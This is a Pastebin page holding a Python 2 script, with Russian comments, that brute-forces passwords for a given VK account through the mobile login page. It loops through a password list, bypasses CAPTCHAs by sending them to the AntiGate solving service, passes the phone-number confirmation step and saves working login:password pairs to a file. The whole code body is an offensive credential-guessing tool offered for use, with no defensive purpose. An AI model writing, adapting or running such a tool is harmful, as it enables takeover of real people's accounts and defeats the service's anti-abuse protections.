Advertisement
Guest User

Untitled

a guest
Dec 18th, 2016
15,888
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.54 KB | None | 0 0
  1. #! coding: utf8
  2. import grab,re,urllib2
  3. from antigate import AntiGate
  4. from grab import GrabTimeoutError
  5. from time import sleep
  6.  
  7. cap_key = '123 ' #Ваш ключ с антигейт
  8.  
  9. def anti(key, file): #Получение решения капчи с антигейт
  10.     try:
  11.         try:
  12.             data = AntiGate(key, file)
  13.             return data
  14.         except KeyboardInterrupt:
  15.             print "Завершение"
  16.     except:
  17.         anti(key,file)
  18.  
  19. def save(url, file): #Скачивание файла по урл
  20.     f = urllib2.urlopen(url)
  21.     f2 = open(file, 'wb')
  22.     f2.write(f.read())
  23.  
  24. def cap_solve(img):
  25.     save(img, 'captcha.jpg')
  26.     key = anti(cap_key, 'captcha.jpg')
  27.     return key
  28.  
  29. def brute(login,passwords,save):
  30.     o = open(save,'w')
  31.     o2 = open(passwords,'r')
  32.  
  33.     try:
  34.         int(login)
  35.         prefix = True
  36.     except:
  37.         prefix = False
  38.     g = grab.Grab()
  39.     g.go('http://m.vk.com')
  40.    
  41.     for i in o2:
  42.        
  43.         i2 = i.rstrip('\r\n')
  44.         g.doc.set_input('email',login)
  45.         g.doc.set_input('pass',i2)
  46.         g.doc.submit()
  47.  
  48.         if g.doc.text_search(u'captcha'):
  49.             c1 = re.findall('"(/captcha.php[^"]*)"', g.response.body)[0]
  50.             c2 = 'http://m.vk.com' + c1
  51.             key = cap_solve(c2)
  52.             g.doc.set_input('email',login)
  53.             g.doc.set_input('pass',i2)
  54.             g.doc.set_input('captcha_key',str(key))
  55.             g.doc.submit()
  56.             print "cap"
  57.  
  58.         if 'Подтвердить' in g.response.body:
  59.             if prefix:
  60.                 prefix1 = g.doc.rex_search('<span class="field_prefix">\+[0-9]*</span>').group(0)
  61.                 prefix2 = g.doc.rex_search('<span class="field_prefix">&nbsp;[0-9]*</span>').group(0)
  62.                 pre1 = re.findall('[0-9]{1,}', prefix1)[0]
  63.                 pre2 = re.findall('[0-9]{1,}', prefix2)[0]
  64.            
  65.                 login = login.replace(pre1,'')
  66.                 login = login.replace(pre2,'')
  67.            
  68.                 g.set_input('code', login)
  69.                 g.submit()
  70.                 print login + ':' + i2 + '--success'
  71.                 o.write(login + ':' + i2 + '\n')
  72.             else:
  73.                 o.write(login + ':' + i2 + '\n')
  74.         else:
  75.             if g.doc.rex_search('<title>[^>]+</title>').group(0) == '<title>Login | VK</title>':
  76.                 print login + ':' + i2 + '--fail'
  77.             else:
  78.                 print login + ':' + i2 + '--success'
  79.                 o.write(login + ':' + i2 + '\n')
  80.     o.close()
  81.     o2.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement